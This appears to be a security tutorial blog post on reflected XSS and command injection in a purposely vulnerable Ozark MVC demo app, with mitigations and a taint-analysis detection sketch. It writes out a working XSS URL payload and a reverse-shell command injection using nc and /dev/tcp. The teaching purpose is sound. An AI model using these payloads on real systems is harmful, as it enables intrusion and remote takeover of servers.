Cross Site Scripting (XSS) and Command Injection Tutorial in Ozark

6 minute read

Published:

So stay tune for a solution using theory of strings

Problem Statement:

The challenge (posted by Alexander Hoole) is to code up an application that exhibits few (potential) weaknesses feasible in the Ozark framework.

Source Code

[Research & Threat Modeling]:

Model-View-Controller (MVC) is a framework/design-pattern for building web applications. It introduces a paradigm of clean design by separating concerns about modeling, presentation, and business logic in an application.

MVC 1.0 (ref: JSR 371) is a property action-oriented framework, as compared to the (predecessor) UI component-oriented MVC. It provides a lot of flexibility to developers through features like: doesn’t hide HTTP request and response mechanism, didn’t dictate or constraint the use of HTML/CSS/JS and the actions-events are directly passed on to the backend. Unfortunately, these features comes at the price of the security by exposing too much attack surface. Even though Ozark API [Chapter 4 (ref: JSR 371)] does provide few mitigatations functions and/or controls but mostly the security aspect is overlooked. For example, CSRF protection via tokens and XSS encoder to escape malicious JS but this support isn’t enough to fend off all security threats. Thus required a comprehensive security assessment in every aspect of the software development life cycle.

The reference implementation for MVC 1.0 is called Ozark [2]. A quick round of threat modeling reveals that the natively developed application can be easily compromised. Because the framework didn't give much consideration to the security aspects and exposes too much attack surface. We have developed an application to demonstrate that reflects on critical weakness, one that impacts the client-side while the other results in a complete server-side compromise (consult Fig 1).

Fig 1: Threat Model for Ozark App.

The two exposed weakness are:

[Vulnerable Application 1] Cross-Site Scripting (XSS): Reflected

It is an application flaw that exploits victims trust in the application. The application accepting non-trusted data (user-provided inputs) and returning it to the browser without validation or sanitization that may lead to run malicious scripts in the victim's browser resulting to a compromise via hijacked sessions, stolen cookie, invalid redirects, etc. The mitigation is to escape or filter out all the special characters in the reply and help to avoid any reflected script back to the victim.

[Vulnerable Application 2] Command Injection:

It is an application flaw that exploits application trust in the user. The adversary goal is to execute arbitrary commands using controls (forms, cookies, HTTP headers, etc.) provided with the vulnerable application. The application passes unsafe user-supplied data to the server-side and without proper validation it gets executed with a handsome privilege. The prevention or mitigation for command injection attacks is to employ rigrious input validation.

[Test Applications]

Test Vulnerable Application 1:

It is a simple greeting application, provided with a user name returns a greeting message. The attacker can able to execute a malicious JS on the victims-machine through malformed input appended in the input parameter to the URL.

thumbnail

Vulnerability: Reflected Cross-site Scription (XSS).

Exploit:

ozark-vuln-app/ozark-vuln/XSS?name=Alex+%3Cscript%3Ealert(%22Bingo%22)%3C/script%3E

NOTE: If the victim is using Google Chrome, it blocks the execute and return an error page with the exception:
ERR_BLOCKED_BY_XSS_AUDITOR
This check can be bypassed but we didn’t investigated it further.

Test Vulnerable Application 2:

It is the same application that sends an email to the user-provided email address. An attacker pwned the server machine (even the one behind the firewall or in a protected network) by simply executing a reverse shell.

Vulnerability: Command Injection

Exploit:
Deploying a reverse shell.

Listening on attacker’s machine:

#sudo nc -l 5555

Fill in the ‘E-Mail:’ box:

test\@hotmail.com | bash -i >& /dev/tcp/127.0.0.1/5555 0>&1

Test Safe Application 1:

This the counterpart of previous vulnerable application. The security checks are implemented to stop cross-site scripting attack.

Mitigation:

The mitigation is to escape/encode the special character’s in the provided URL before sending it back.

No reflected XSS attack is possible in it.

Test Safe Application 2:

This the counterpart of the previous vulnerable application. The security checks are implemented to stop command injection attack.

Mitigation:

The fix is to validate the email address contents before passong on the program that execute mail client command.

Fail to execute the injected command.

Disclaimer: The code snippets of ‘Michael Scharhag’ [4] has been used to develope above applications.

[Detection]

Due to a large volume of web applications, the need for automated analysis tools is on the rise. For detection, we simply employ taint analysis to discover the vulnerable code in the aforementioned application. The goal of our analysis is to determine whether it is possible that user-provided data reaches sensitive a sink without being properly sanitized. More precisely, through annotations, we collect data orignated from untrusted source/user inputs (taint seeds). These annotations are provided with the classes (\@BeanParam, \@QueryParam).

Using a tainted policy (similar to the one suggested in [5,6]) that propagates the tainted values in the program execution paths and then checks the taint status at a critical locations (taint sinks). The taint sinks in our case are the path to the function-calls that execution system command and/or alter the model state which is returned to the user without going through any validation check.

Algorithm (algorithm pseudocode):

Input: Java Classes with annotated functions.

ouput: Safe or Unsafe Program.

prog_ast = antlr_parser(input_program)

prog_cfg = build_CFG(prog_ast) (Control Flow Graph)

safe_flag = apply_tainted_policy(prog_cfg)

Return safe_flag;

End;

The proposed method is a little bit imprecise (not sound and definitely incomplete). It might fail to detect the issues and/ or raise false alarms due to under-tainting or over-tainting.

So stay tune for a solution using theory of strings

References:

[1] MVC 1.0 - Model-View-Conrtoller Specification, Ivar Grimstad, Christain Kaltepoth, v1.0, September 2018 ([https://jcp.org/en/jsr/detail?id=371]{.underline})

[2] Ozark - Reference Implementation for MVC 1.0 [Oracle Website]

[3] Vulncat.fortify.com/en

[4] https://github.com/mscharhag/java-ee-8-mvc/tree/master/getting-started

[5] Schwartz, Edward J., Thanassis Avgerinos, and David Brumley. "All you ever wanted to know about dynamic taint analysis and forward symbolic execution (but might have been afraid to ask)." 2010 IEEE symposium on Security and privacy. IEEE, 2010.

[6] Vogt, Philipp, et al. "Cross Site Scripting Prevention with Dynamic Data Tainting and Static Analysis." NDSS. Vol. 2007. 2007.